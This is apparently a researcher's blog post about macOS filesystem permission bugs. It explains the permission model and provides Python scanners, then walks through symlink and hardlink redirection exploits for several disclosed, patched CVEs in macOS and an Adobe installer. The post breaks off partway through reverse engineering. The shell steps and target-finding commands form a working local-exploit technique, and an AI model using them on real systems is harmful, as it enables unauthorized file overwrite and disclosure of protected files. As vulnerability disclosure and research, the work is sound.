This research started around summer time in 2019, when everything settled down after my talk in 2019, where I detailed how did I gained root privileges via a benign App Store application, that I developed. That exploit used a symlink to achieve this, so I though I will make a more general approach and see if this type of vulnerability exists in other places as well on macOS systems. As it turns out it does exists, and not just on macOS directly but also on other apps, it appears to be a very fruitful of issue, without too much effort I found 5 exploitable bugs on macOS, 3 in Adobe installers. In the following post I will first go over the permission model of the macOS filesystem, with focus on the POSIX part, discuss some of the non trivial cases it can produce, and also give a brief overview how it is extended. I won’t cover every single detail of the permission model, as it would be a topic in itself, but rather what I found interesting from the exploitation perspective. Then I will cover how to find these bugs, and finally I will go through in detail all of the bugs I found. Some of these are very interesting as we will see, as exploitation of them involves “writing” to files owned by root, while we are not root, which is not trivial, and can be very tricky.
The filesystem permission model Link to heading
The POSIX base case Link to heading
Every file and directory on the system will have a permission related to the file’s owner, the file’s group and everyone. All of these three can have three different permissions, which are read, write, execute. In case of files these are pretty trivial, it means that a given user/group/everyone can read/write/execute the file. In case of directories it’s a bit tricky:
- read - you can enumerate the directory entries
- write - you can delete/write files to the directory
- execute - you are allowed to traverse the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories.
Interesting combinations Link to heading
These rules on directories create really interesting scenarios. Let’s say you have read access to a directory but nothing else. Although it allows you to enumerate files, since you don’t have execute rights, you still can’t see and access the files inside, this is regardless of the file’s permissions. If you have execute but not read access to a directory it means that you can’t list the files, but if you know the name of the file, you can access it, assuming you have rights to it. You can try the following experiment:
$ mkdir restricted
$ echo aaa > restricted/aaa
$ cat restricted/aaa
aaa
$ chmod 777 restricted/aaa
$ cat restricted/aaa
aaa
$ chmod 666 restricted
$ cat restricted/aaa
cat: restricted/aaa: Permission denied
$ ls -l restricted/
$ ls -l | grep restricted
drw-rw-rw- 3 csaby staff 96 Sep 4 14:17 restricted
$ ls -l restricted/aaa
ls: restricted/aaa: Permission denied
$ ls -l restricted/
$ chmod 755 restricted
$ ls -l restricted/
total 8
-rwxrwxrwx 1 csaby staff 4 Sep 4 14:17 aaa
It means that if you can’t access a file just because of directory permissions, but can find a way to leak those files to somewhere else, you can read the contents of those files.
If you have rwx
permissions on a directory you can create/modify/delete files, regardless of the owner of the files. This means that if you have such access because of you id/group membership or simply because it’s granted to everyone, you can delete files owned by root.
Flag modifiers Link to heading
There are many flags that a file can have, but for our case the only interesting one is the uchg, uchange, uimmutable
flag. It means that it can’t be changed, regardless who tries to do it. For example, a root
can’t delete a file if this flag is set, of course a root
can remove the flag and then delete it. It also involves that if a file has the uchg
flag set and it’s owned by root, no one can change it, even if you have write access to the inclusive directory. The flag has to be removed first, which can be only done by root in this case.
There are is another flag, called restricted
, which means that the particular file or directory is protected by SIP (System Integrity Protection), and thus you can’t modify those even if you are root
. Apple uses special internal entitlements that allows some particular processes to write to SIP protected locations.
To list the flags associated with a file, run: ls -lO
. To change flags (except restricted
) use the chflags
command. For example you can see a bunch of these flags in the root directory:
csaby@mac % ls -lO /
total 16
drwxrwxr-x+ 83 root admin sunlnk 2656 Feb 21 07:44 Applications
drwxr-xr-x 70 root wheel sunlnk 2240 Feb 20 21:44 Library
lrwxr-xr-x 1 root wheel hidden 28 Feb 21 07:44 Network -> /System/Volumes/Data/Network
drwxr-xr-x@ 8 root wheel restricted 256 Sep 29 22:23 System
drwxr-xr-x 6 root admin sunlnk 192 Sep 29 22:22 Users
drwxr-xr-x 5 root wheel hidden 160 Feb 22 13:59 Volumes
drwxr-xr-x@ 38 root wheel restricted,hidden 1216 Jan 28 23:32 bin
drwxr-xr-x 2 root wheel hidden 64 Aug 25 00:24 cores
dr-xr-xr-x 3 root wheel hidden 7932 Feb 21 07:43 dev
lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:37 etc -> private/etc
lrwxr-xr-x 1 root wheel hidden 25 Feb 21 07:44 home -> /System/Volumes/Data/home
drwxr-xr-x 3 root wheel hidden 96 Oct 11 20:38 opt
drwxr-xr-x 6 root wheel sunlnk,hidden 192 Jan 28 23:33 private
drwxr-xr-x@ 63 root wheel restricted,hidden 2016 Jan 28 23:32 sbin
lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:42 tmp -> private/tmp
drwxr-xr-x@ 11 root wheel restricted,hidden 352 Oct 11 07:42 usr
lrwxr-xr-x@ 1 root admin restricted,hidden 11 Oct 11 07:42 var -> private/var
Sticky bit Link to heading
From exploitation perspective this is also a very important bit, especially on directories as it further limits our capabilities to mess with files.
When a directory’s sticky bit is set, the filesystem treats the files in such directories in a special way so only the file’s owner, the directory’s owner, or root user can rename or delete the file. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of the file’s owner. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users’ files.
Source: Sticky bit - Wikipedia
ACLs Link to heading
Although I didn’t find this being used extensively by default it can still affect exploitation, so it worth to mention it. The file system supports more granular access control than the POSIX model, and that is using with Access Control Lists. These lists contains Access Control Entries, which can define more specific access to a given user or group. The chmod
’s manpage will detail these permissions:
The following permissions are applicable to directories:
list List entries.
search Look up files by name.
add_file
Add a file.
add_subdirectory
Add a subdirectory.
delete_child
Delete a contained object. See the file delete permission above.
The following permissions are applicable to non-directory filesystem objects:
read Open for reading.
write Open for writing.
append Open for writing, but in a fashion that only allows writes into areas of the file not previously written.
execute
Execute the file as a script or program.
Sandbox Link to heading
The Sandbox is important as it can further restrict access to specific locations. SIP is also controlled by the Sandbox, but beyond that applications can have different sandbox profiles, which will define which resources can an application access in the system, including files. So a process might run as root
, but because of the applied sandbox profile it might not able to access specific locations. These profiles can be found in /usr/share/sandbox/
and /System/Library/Sandbox/Profiles/
. For example the mds
process runs as root, however it’s limited to write to these locations:
(...omitted...)
(allow file-write*
(literal "/dev/console")
(regex #"^/dev/nsmb")
(literal "/private/var/db/mds/system/mds.lock")
(literal "/private/var/run/mds.pid")
(literal "/private/var/run/utmpx")
(subpath "/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000")
(regex #"^/private/var/run/mds($|/)")
(regex #"/Saved Spotlight Indexes($|/)")
(regex #"/Backups.backupdb/\.spotlight_repair($|/)"))
(allow file-write*
(regex #"^/private/var/db/Spotlight-V100($|/)")
(regex #"^/private/var/db/Spotlight($|/)")
(regex #"^/Library/Caches/com\.apple\.Spotlight($|/)")
(regex #"/\.Spotlight-V100($|/)")
(mount-relative-regex #"^/\.Spotlight-V100($|/)")
(mount-relative-regex #"^/private/var/db/Spotlight($|/)")
(mount-relative-regex #"^/private/var/db/Spotlight-V100($|/)"))
(...omitted...)
(allow file*
(regex #"^/Library/Application Support/Apple/Spotlight($|/)")
(literal "/Library/Preferences/com.apple.SpotlightServer.plist")
(literal "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Resources/com.apple.SpotlightServer.plist"))
(...omitted...)
It’s beyond the scope of this post to detail how to interpret the SBPL language, which is used for defining these profiles, however if you are interested, I recommend the following PDF: https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf
Finding bugs Link to heading
Now I will detail how to find these bugs in the file system, and it will focus on two different ways doing this:
- Doing it trough static permission verification
- Doing it through dynamic analysis
The static method Link to heading
I mainly used this case, as it’s very simple to do, and can be easily done anytime. I differentiated 4 cases while searching, which I thought might be interesting, however really only two of those were promising, and I didn’t dig deep into the other cases.
- File owner is root, but the directory owner is different
- File owner is not root, but directory owner is root
- File owner is root, and one of the user’s group has write access to the directory
- File owner is not root, but the group is wheel, and the parent folder also not root owned
I made a simple python script to find these relationship, it could likely be improved, but it does the job.
import os, stat
import socket
project_name = 'catalina_10.15.3'
to_check = [1,2,3,4]
admin_groups = [20, 80, 501, 12, 61, 79, 81, 98, 701, 702, 703, 33, 100, 204, 250, 395, 398, 399]
if 1 in to_check:
issues1 = open(project_name + '_' + socket.gethostname() + '_issues1.txt','w')
if 2 in to_check:
issues2 = open(project_name + '_' + socket.gethostname() + '_issues2.txt','w')
if 3 in to_check:
issues3 = open(project_name + '_' + socket.gethostname() + '_issues3.txt','w')
if 4 in to_check:
issues4 = open(project_name + '_' + socket.gethostname() + '_issues4.txt','w')
for root, dirs, files in os.walk("/", topdown = True):
for f in files:
full_path = os.path.join(root, f)
directory = os.path.dirname(full_path)
try:
if 1 in to_check:
if (os.stat(full_path).st_uid == 0) and os.stat(directory).st_uid != 0: #file owner is root directory is no
print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
issues1.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
if 2 in to_check:
if (os.stat(full_path).st_uid != 0) and os.stat(directory).st_uid == 0: #file owner is not root directory is root
print("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s" % (full_path, os.stat(full_path).st_uid))
issues2.write("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s\n" % (full_path, os.stat(full_path).st_uid))
if 3 in to_check:
if (os.stat(full_path).st_uid == 0) and (os.stat(directory).st_gid in admin_groups) and (os.stat(directory).st_mode & stat.S_IWGRP): #file owner is root directory group is staff or admin and group has write access
print("[+] Potential issue found, file: %s, group has write access to directory, it's: %s" % (full_path, os.stat(directory).st_gid))
issues3.write("[+] Potential issue found, file: %s, group has write access to directory, it's: %s\n" % (full_path, os.stat(directory).st_gid))
if 4 in to_check:
if (os.stat(full_path).st_uid != 0) and (os.stat(full_path).st_gid == 0) and (os.stat(directory).st_uid != 0): #file group is wheel, but not root file, directory is not root
print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
issues4.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
except:
continue
if 1 in to_check:
issues1.close()
if 2 in to_check:
issues2.close()
if 3 in to_check:
issues3.close()
if 4 in to_check:
issues4.close()
I think that #1 and #3 is sort of trivial to exploit, as that typically involves deleting the file, creating a symlink or hardline, and wait for the process to write to that file. This is what I will deal mostly below.
The dynamic method Link to heading
This effort is basically about monitoring for #1 and #3 discussed above in a dynamic way, which may reveal new bugs, as you could have the following case:
A root
process is writing to a directory where you have write access, but after that changing the file owner to the user. This issue can’t be found with static search, as the file ownership has been changed. You will want to monitor for files that are written as root
to a location what you can control. A good tool for this is Patrick Wardle’s FileMonitor, which uses the new security framework to monitor for file events. You can also try fs_usage
, but I found this far better. You will get a huge TXT output, which you can process with a script and some command line fu. :)
BUGs Link to heading
Ok, so far the theory, but I know everyone wants to see the actual bugs and exploits, so I will start discussing these now. :) The general idea behind these type of bugs is to redirect the file operation to a place we want, this can be done as we can typically delete the file, place a symlink or hardline, pointing somewhere else, and then we just need to wait and see. There are a couple of problems that we need to solve/face as these greatly limits our exploitation capabilities.
- The process might run as root, however because of sandboxing it might not be able to write to any interesting location
- The process might not follow symlinks / hardlinks, but instead it will overwrite our link, and create a new file
- If we can successfully redirect the file operation, the file will still be owned by root, and we can’t modify it after. We need to find a way to affect the file contents for our benefits.
#1 and #2 will effectively mean that we don’t really have a bug, we can’t exploit the permission issue. With #3 the base case is that we have an arbitrary file overwrite, however if we find a way to affect the process what to write into that file, we can potentially make it a full blown privilege escalation exploit. We can also make it useful if the file we can delete is controlling access to something, in that case instead of a link, we could create a new file, with a content we want, we will see a case for this as well.
In the first part I will cover bugs where I could only make it to an arbitrary file overwrite and then move to the more interesting scenarios.
If you want to see more macOS installer bugs, I highly recommend Patrick Wardle’s talk on the subject: Death By 1000 Installers; on MacOS, It’s All Broken! - YouTube DefCon 2017 Death by 1000 Installers; it’s All Broken! - Speaker Deck
InstallHistory.plist file - Arbitrary file overwrite vulnerability (CVE-2020-3830) Link to heading
Whenever someone installs a file on macOS, the system will log it to a file called InstallHistory.plist
, which is located at /Library/Receipts
.
% ls -l /Library/Receipts/
total 40
-rw-r—r— 1 root admin 18500 Nov 1 14:07 InstallHistory.plist
drwxr-xr-x 2 _installer admin 64 Aug 25 03:59 db
The directory permissions for that looks like this:
csaby@mac Receipts % ls -le@OF /Library
drwxrwxr-x 4 root admin - 128 Nov 1 15:25 Receipts/
This means that a standard admin user has write access to this folder. As I mentioned earlier, it also means that an admin user can delete any file in that folder regardless of its owners. We can also move the file:
% mv InstallHistory.plist InstallHistory_old.plist
After that we can create a symlink pointing anywhere we want. For example, I will point it to /Library/i.txt
, where only root has write access.
csaby@mac Receipts % ln -s ../i.txt InstallHistory.plist
csaby@mac Receipts % ls -l
total 40
lrwxr-xr-x 1 csaby admin 8 Nov 1 14:50 InstallHistory.plist -> ../i.txt
-rw-r—r— 1 root admin 18500 Nov 1 14:07 InstallHistory_old.plist
drwxr-xr-x 2 _installer admin 64 Aug 25 03:59 db
Now if we install any app, for example from the app store, the app will be logged, and a file will be created at a location we point to, if it’s an existing file, it will be overwritten.
csaby@mac Receipts % ls -l /Library/i.txt
-rw-r—r— 1 root wheel 523 Nov 1 14:50 /Library/i.txt
% cat /Library/i.txt
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=“1.0”>
<array>
<dict>
<key>date</key>
<date>2019-11-01T13:50:57Z</date>
<key>displayName</key>
<string>AdBlock</string>
<key>displayVersion</key>
<string>1.21.0</string>
<key>packageIdentifiers</key>
<array>
<string>com.betafish.adblock-mac</string>
</array>
<key>processName</key>
<string>appstoreagent</string>
</dict>
</array>
</plist>
Unfortunately there is nothing interesting we can do with this PLIST file, we can likely control the properties of the actual application, however it doesn’t give us much.
This affected PackageKit and it was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra.
Adobe Reader macOS installer - arbitrary file overwrite vulnerability (CVE-2020-3763) Link to heading
This is one of the installer bugs I found, and one of the more boring ones, as it was also only a simple overwrite vulnerability. At the end of installing Adobe Acrobat Reader for macOS a file is placed in the /tmp/
directory.
mac:tmp csaby$ ls -l com.adobe.reader.pdfviewer.tmp.plist
-rw------- 1 root wheel 133 Nov 11 19:20 com.adobe.reader.pdfviewer.tmp.plist
Prior the installation we can create a symlink pointing somewhere in the file system.
mac:tmp csaby$ ln -s /Library/LaunchDaemons/a.plist com.adobe.reader.pdfviewer.tmp.plist
mac:tmp csaby$ ls -l
total 248
lrwxr-xr-x 1 csaby wheel 30 Nov 11 19:22 com.adobe.reader.pdfviewer.tmp.plist -> /Library/LaunchDaemons/a.plist
Once we run the installer the symlink will be followed and a file will be written to a location we control.
mac:tmp csaby$ sudo cat /Library/LaunchDaemons/a.plist
bplist00?_ReaderInstallPath_@file://localhost/Applications/Adobe%20Acrobat%20Reader%20DC.app/
b
mac:tmp csaby$
The file content is fixed, and we can’t control it, but it would still allow us to mess with other files. This is a DOS type scenario.
This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html
Grant group write access to plist files via DiagnosticMessagesHistory.plist (CVE-2020-3835) Link to heading
This is one of the more interesting bugs. Someone can add rw-rw-r
permissions to any plist
file by abusing the file DiagnosticMessagesHistory.plist
in the /Library/Application Support/CrashReporter/
folder.
The directory /Library/Application Support/CrashReporter/
allows write access to users in the admin group.
ls -l “/Library/Application Support/“ | grep CrashRe
drwxrwxr-x 7 root admin 224 Nov 1 21:49 CrashReporter
Beyond that, the file DiagnosticMessagesHistory.plist
has also write access set for admin users.
ls -l "/Library/Application Support/CrashReporter/"
total 768
-rw-rw-r-- 1 root admin 258 Oct 12 20:28 DiagnosticMessagesHistory.plist
-rw-r--r-- 1 root admin 94047 Oct 12 15:32 SubmitDiagInfo.config
-rw-r--r--@ 1 root admin 291032 Oct 12 15:32 SubmitDiagInfo.domains
The first allows us to delete / move this file:
mv DiagnosticMessagesHistory.plist DiagnosticMessagesHistory.plist.old`
Beyond that it also allows us to create files in that folder, so we can create a symlink / hardlink pointing to another file, once we moved / deleted the original:
ln /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist DiagnosticMessagesHistory.plist
What happens is that when the system tries to write again to this file, it will check the RWX permissions on the file and if it’s not like the original -rw-rw-r--
, it will restore it. It won’t write to the file we point to, just edit permissions. This means that we can cause the system to grant write
access to any file on the system if we are in the admin group.
The file’s original permissions:
ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist
-rw-r--r-- 2 root admin 987 Aug 19 2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist
After the system touches the file:
ls -l DiagnosticMessagesHistory.plist
-rw-rw-r-- 2 root admin 987 Aug 19 2015 DiagnosticMessagesHistory.plist
ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist
-rw-rw-r-- 2 root admin 987 Aug 19 2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist
We can trigger this by changing Analytics settings.
The only limitation is that the target file has to be a plist
file, otherwise the permissions remain unchanged.
This can be useful for us if we grant write access to a file, where the group is one that we are also member of and the file is owned by root
. We can find such files via the following command (and you can try many group IDs):
sudo find / -name "*.plist" -group 80 -user root -perm -200
Or to find files with no read access for others:
sudo find / -name "*.plist" -user root ! \( -perm -o=r -o -perm -o=w -o -perm -o=x \)
Or file to which only root has access:
sudo find / -name "*.plist" -user root -perm 600
An example from my machine:
mac:CrashReporter csaby$ sudo find /Library/ -name "*.plist" -user root -perm 600
find: /Library//Application Support/com.apple.TCC: Operation not permitted
/Library//Preferences/com.apple.apsd.plist
/Library//Preferences/OpenDirectory/opendirectoryd.plist
mac:CrashReporter csaby$ ls -le@OF /Library//Preferences/com.apple.apsd.plist
-rw——— 1 root wheel - 44532 Nov 8 08:38 /Library//Preferences/com.apple.apsd.plist
This was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra
macOS fontmover - file disclosure vulnerability (CVE-2019-8837) Link to heading
This is a slightly unusual bug compared to the rest, yet it’s very interesting and it also comes down to controlling files, which is worked on by a process running as root. I came across this bug , when found that /Library/Fonts
has group write permissions set, as we can see below:
$ ls -l /Library/ | grep Fonts
drwxrwxr-t 183 root admin 5856 Sep 4 13:41 Fonts
As admin users are in the admin
group, someone can drop here any file. This is the folder containing the system wide fonts, and I think this privilege unnecessary and I will come back to this why.
#default group membership for admin users
$ id
uid=501(csaby) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
For the demonstrations I will use a font I downloaded from here: Great Fighter Font | dafont.com but any font will do it, the only requirement is to have a valid font. Once we download a font, and double click on it, the Font Book
application open, and will display the font for us:
Before we install the font we can check its default install location in preferences:
By default it goes to the User
, but we can select Computer
as the default. In the case of the user it will go into ~/Library/Fonts
in the case of Computer
it will go to /Library/Fonts
. The issue presents if Computer
is selected as the default.
Once we click Install Font
we get another screen, which is the font validator:
We select the font and click Install Ticked
, after that we are prompted for authentication, which means that the application elevates us to root
and then installs the font. If we check with fs_usage
what happens, we can see that the font is copied with the fontmover
binary into /Library/Fonts
.
$ sudo fs_usage | grep great_fighter.otf
19:53:24 stat_extended64 /Library/Fonts/great_fighter.otf 0.000030 fontmover
19:53:24 stat_extended64 /Users/csaby/Downloads/great_fighter/great_fighter.otf 0.000019 fontmover
19:53:24 open /Users/csaby/Downloads/great_fighter/great_fighter.otf 0.000032 fontmover
19:53:24 lstat64 /Library/Fonts/great_fighter.otf 0.000003 fontmover
19:53:24 open_dprotected /Library/Fonts/great_fighter.otf 0.000086 fontmover
19:53:24 WrData[AN] /Library/Fonts/great_fighter.otf 0.000167 W fontmover
This is the process that will run as root. This is the point where I would like to reflect back to the beginning. The /Library/Fonts
has group write permissions, which is not necessary if fontmover
will always elevate to root
.
A possible privilege escalation scenario would be that we place a symlink or hardlink in /Library/Fonts
and let fontmover
follow that. Fortunately (or unfortunately from a bug hunting perspective) this doesn’t happen, as if the hardlink / symlink exists it will be removed first, and even if I try to recreate it (doing a race condition before / after the removal and before the copy) it doesn’t work, and the file will be moved there safely with its original permissions. The only case when fontmover
fails to copy the file is if we place a lock ($ chflags uchg filename
) on the file, in that case it won’t be overwritten / deleted, but also not useful from an exploitation perspective. Still I think this group write permission is not necessary. Beyond that fontmover
is sandboxed. If we check the fontmoverinternal.sb
sandbox profile, we can see the following:
(allow file-write*
(subpath "/System/Library/Fonts")
(subpath "/System/Library/Fonts (Removed)")
(subpath "/Library/Fonts")
(subpath "/Library/Fonts (Removed)")
)
This means that file writes will be limited to the Fonts
directory, so even if symlinks would be followed, we are stuck in the Fonts
directory..
*nix directory permissions Link to heading
The file disclosure vulnerability happens with regards of the source file. Between the steps Install Font
and Install Ticked
the file is not locked by the application, which means that someone can alter the file after the font validation happened. If we remove the original file, and place a symlink pointing somewhere fontmover
will follow the symlink and copy that file into /Library/Fonts
, with maintaining the original file’s permission. What do we gain with this? We can copy a file as root
to a location where we have already write access to with maintaining the original file’s permissions. At first sight this doesn’t give as any more rights as if we don’t have read access to the original file, then we won’t gain it because it maintains its access rights, and if we have read access to it we could already read it. NO. There is a corner case in *nix based filesystem, where the last statement is not true, and what I mentioned in the very beginning. If there are files in a directory where only root has R+X access, those are not accessible to anyone else. In case there is a file which normally would be readable by anyone, we can use fontmover
to move that file out, into /Library/Fonts
and read its contents, which normally would be forbidden.
This quick and dirty python script can find such files for us:
import os, stat
fs = open('files.txt','w')
for root, dirs, files in os.walk("/", topdown = True):
for f in files:
full_path = os.path.join(root, f)
directory = os.path.dirname(full_path)
try:
if (
((os.stat(full_path).st_mode & stat.S_IRGRP or #group has read access
os.stat(full_path).st_mode & stat.S_IROTH) #world readable
and os.stat(full_path).st_uid == 0) #owner is root
and
((not os.stat(directory).st_mode & stat.S_IXGRP) and #group doesn't have execute
(not os.stat(directory).st_mode & stat.S_IXOTH)) #others doesn't have execute
):
print("[+] file: %s" % full_path)
fs.write("[+] file: %s\r\n" % full_path)
except:
continue
fs.close()
One such file is:
-rw-r--r-- 1 root wheel 1043 Aug 30 16:10 /private/var/run/mds/uuid-tokenID.plist
Exploitation Link to heading
From here the exploitation is simple:
- Wait for a user installing a file
- Before clicks “Install Ticked”, do this: a. Delete / rename original file b. Create a symlink to the file of your choice
Note that the output was changed below:
#no access to original file
$ cat /private/var/run/mds/uuid-tokenID.plist
cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied
#exploitation
$ mv great_fighter.otf great_orig.otf
$ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf
#click 'install ticked' here
$ cat /Library/Fonts/great_fighter.otf
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
<integer>1234567890</integer>
<key>nextTokenID</key>
<integer>1234567890</integer>
</dict>
</plist>
The fix Link to heading
There was an undocumented partial fix in Catalina 10.15.1. After the ‘fix’, it’s still possible to achieve the same but on another place. A user can modify the file prior the authentication takes place. There are some checks when the user clicks “Install Ticked”, however when the user gets the authentication prompt there is a time window again to alter the file, before the user authenticates. So the steps would be now:
#no access to original file
$ cat /private/var/run/mds/uuid-tokenID.plist
cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied
#click ‘install ticked’ here
#wait for the authentication prompt
#exploitation
$ mv great_fighter.otf great_orig.otf
$ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf
#authenticate
$ cat /Library/Fonts/great_fighter.otf
(…) output omitted (…)
It was finally fixed in Catalina 10.15.2. There is a case, when you switch from User to Computer profile, and you will get the authentication prompt, and you can still replace the file, however the new redirect won’t be followed, and the bogus file won’t be copied. The only thing you achieve is that no font will be installed, which is fine.
macOS DiagnosticMessages arbitrary file overwrite vulnerability (CVE-2020-3855) Link to heading
While I couldn’t achieve full LPE in this case, and so it remained an arbitrary file overwrite, I got some partial successes with a trick, which I think is interesting. Finally some reverse engineering ahead!
I noticed that /private/var/log/DiagnosticMessages
is writeable for the admin
group.
$ ls -l /private/var/log/ | grep Diag
drwxrwx--- 32 root admin 1024 Sep 2 20:31 DiagnosticMessages
Additionally all files in that directory are owned by root:
(...)
-rw-r--r--@ 2 root wheel 420894 Aug 31 21:30 2019.08.31.asl
(...)
As usual I can delete this file, and create others, like a symlink in that folder.
Exploitation - Overwriting files Link to heading
As discussed before exploiting such scenarios are typically very simple to the point where we overwrite a custom file, we create a symlink with the same name, and point it to somewhere where root
has only access. In this case symlinks didn’t work for me, they weren’t properly followed. Luckily we have hard links as well, and that seemed to do the trick. As a POC I created a bogus file in Library and pointed a hardlink to it:
$ sudo touch /Library/asl.asl
$ rm 2019.09.02.asl
#you need to be quick creating the hardlink, as a new file might be created due to incoming logs
$ ln /Library/asl.asl 2019.09.02.asl
After that we can see that they are essentially the same:
$ ls -l 2019.09.02.asl
-rw-r--r--@ 2 root wheel 1835 Sep 2 21:06 2019.09.02.asl
$ ls -l /Library/asl.asl
-rw-r--r--@ 2 root wheel 1835 Sep 2 21:06 /Library/asl.asl
If we take a look at the file content, we can indeed see that the output is properly redirected.
At this point we can overwrite any file on the filesystem as root, possibly causing a DOS scenario with overwriting a critical file.
You might need to reboot in order for the hard link to take effect.
Exploitation - Controlling content Link to heading
This is the more interesting part of my research, and I want to show how did I ended up injecting content into this log file - it wasn’t trivial.
The ultimate problem with the above, is that we can redirect an output, but ultimately we don’t control the content of the file, it’s up to the application, so I can’t create a nice cronjob file or plist to drop into the LaunchDaemons
and gain code execution as root. Although we can’t control the entire file, we can still have some influence on the content, which could be useful later.
This is a log file, so if we could send some custom log messages that would be quite good as we could inject something useful for us. With that I started to dig into how can I create ASL (Apple System Log) logs directed into DiagnosticMessages.
ASL is Apple’s own syslog format, but these days it’s being deprecated and less and less applications use it. To complicate things, there are other folders containing ASL logs, like /private/var/log/asl
. This link contains the documentation for the ASL API:
Mac OS X Manual Page For asl(3). The API doesn’t talk about the various log targets, or DiagnosticMessages at all. I’m not a developer and I looked for some ASL code samples, and there aren’t too many, and needles to say, none of those posts talk about the various log buckets. At this point I was quite clueless how to send anything there, even if I can use the API.
Additionally if we check out these logs, this is what we see typically:
com.apple.message.domain: com.apple.apsd.15918893
com.apple.message.__source__: SPI
com.apple.message.signature: 1st Party
com.apple.message.signature2: N/A
com.apple.message.signature3: NO
com.apple.message.summarize: YES
SenderMachUUID: 399BDED0-DC36-38A3-9ADC-9F97302C3F08
It seemed that there are some pre-defined fields to be populated, that can take up some value, and that’s it. It looked quite hopeless to send here anything useful. But you always try harder :)
The hope came from a few logs hidden in the chaos, which looked like this:
CalDAV account refresh completed
com.apple.message.domain: com.apple.sleepservices.icalData
com.apple.message.signature: CalDAV account refresh statistics
com.apple.message.result: noop
com.apple.message.value: 0
com.apple.message.value2: 0
com.apple.message.value3: 0
com.apple.message.uuid: XXXXXXXXXX
com.apple.message.uuid2: XXXXXXXXXX
com.apple.message.wake_state: 0
SenderMachUUID: XXXXXXXXXX
The nice thing about this entry was that there was a custom string at the very beginning. This one came from the CalendarAgent
process. This led me to figure out how Calendar does this, and if I can reverse it, I could do my own.
First I took the CalendarAgent
binary that can be found at /System/Library/PrivateFrameworks/CalendarAgent.framework/Versions/A/CalendarAgent
. I loaded this to Hopper, but couldn’t locate any string related to the message above. So I decided to just search for it with grep
and that gave me the file I needed.
grep -R "CalDAV account refresh" /System/Library/PrivateFrameworks/
Binary file /System/Library/PrivateFrameworks//CalendarPersistence.framework/Versions/Current/CalendarPersistence matches
If we load the binary into Hopper, we can follow where that string is referenced:
It’s stored in a variable, and luckily it’s only referenced in one place:
Reading the related assembly is not that nice:
But luckily Hopper can do some awesome pseudo-code generation for us, and this is what we get for the entire function:
TXT format:
/* @class CalDAVAccountRefreshQueueableOperation */
-(void)sendStatistics {
r13 = self;
var_30 = **___stack_chk_guard;
rax = IOPMGetUUID(0x3e9, &var_A0, 0x64);
if (rax != 0x0) {
r14 = &stack[-216];
rbx = &stack[-216] - 0x70;
rsp = rbx;
if (IOPMGetUUID(0x3e8, rbx, 0x64) != 0x0) {
var_C8 = r14;
var_C0 = [[NSNumber numberWithInteger:[r13 numberOfInboxEntriesAffected]] retain];
